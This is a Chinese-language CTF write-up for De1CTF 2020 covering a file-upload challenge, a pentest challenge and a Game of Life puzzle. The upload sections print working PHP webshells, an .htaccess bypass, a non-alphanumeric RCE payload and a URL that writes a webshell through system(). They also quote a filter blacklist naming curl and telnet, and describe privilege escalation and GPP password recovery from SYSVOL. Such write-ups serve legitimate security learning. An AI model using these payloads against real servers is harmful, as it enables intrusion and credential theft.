DelCTF2020

2020-05-08 135次浏览 0条评论  前往评论

前言


题目对我来说太难,只复现了几道题目。

Check In


一道上传漏洞题,会检查Content-Type和文件后缀黑名单,这个问题不大。

然后发现过滤文件内容黑名单:

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet

所以一句话木马需要用短标签绕过,即上传1.jpg

<?=eval($_POST['cmd']);

然后上传.htaccess解析1.jpg,这里用换行符绕过

AddType application/x-httpd-p\
hp .jpg

成功连接上蚁剑:

Hard_Pentest_1


题目直接给出了源代码:

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

这里的check函数对文件的内容过滤了字母数字以及一些符号,这里可以使用无字符数字RCE绕过,具体参考:传送门

这里直接上传6.Php

内容为:

<?= $_=[] ?> 
<?= $_=@"$_" #Array ?>
<?= $_=$_[('!'=='@')] #('!'=='@') results in 0 ?>

<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++#G ?>
<?= $_______ = "_".$__ #_G ?>

<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ #E ?>
<?= $_______ .= $__ #_GE ?>

<?= $__ = $_ ?>
<?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ #T ?>
<?= $_______ .= $__ #_GET ?>

<?= ${$_______}["_"](${$_______}["__"]) # $_GET['_']($_GET['__']) ?>

这个$_GET['_']($_GET['__']) ?>第一个参数是构造函数名,第二个构造函数的参数。

像这样就可以getshell了,但是想要连上蚁剑还得自己写一个一句话木马进去。

http://47.113.219.76/uploads/bf0688c36193e28a369a9e96517e4c2f/0d253abf34c57f57099249cd1737873b_6.phP?_=system&__=echo%20"<?php%20eval($_POST[%27a%27])?>">>2.php

然后就可以成功连上蚁剑了

但是在蚁剑的终端输入whoami发现权限不够。

于是上传cmd.exems08066在冰蝎里面进行提权。

提权成功后发现

//192.168.0.12/Hint/找到一个压缩包,下载下来发现有密码。

然后就涉及到域渗透的内容,具体参考:传送门

在域中,存在一个默认的共享路径:

\\<DOMAIN>\SYSVOL\<DOMAIN>\

然后输入ipconfig /all发现

就是说通过域内的共享文件夹保存了密码,微软把密钥公开了,所以可以通过破解这个密钥得到管理员的密码。

找到保存密码的地方

打开发现密钥

然后用kail自带的gpp-decrypt解密

打开之前得到的压缩包输入密码即可得到flag。

life


题目hint:No Game No Life!

这道题下载下来是一张图片,用foremost分离之后得到一个带密码的压缩包和一张类型二维码的图片。

这里需要了解一下生命游戏:传送门

然后有个网站可以模拟生命游戏:传送门

这里需要自己一个点一个点画上去,然后点击单步。

可以看到一个二维码,扫描二维码就可以得到压缩包的密码。

解开压缩包之后发现txt文件有一串数字

0QjN1MTM0MTN0QjN3ImNjNzM3QTNmdTN3MTNmdzMzcjNxcjM3QTNmdDN2gzMzUjZ2czM0YDZzMjMxcDZ

然后可以到cyberchef解密:



登录后回复

共有0条评论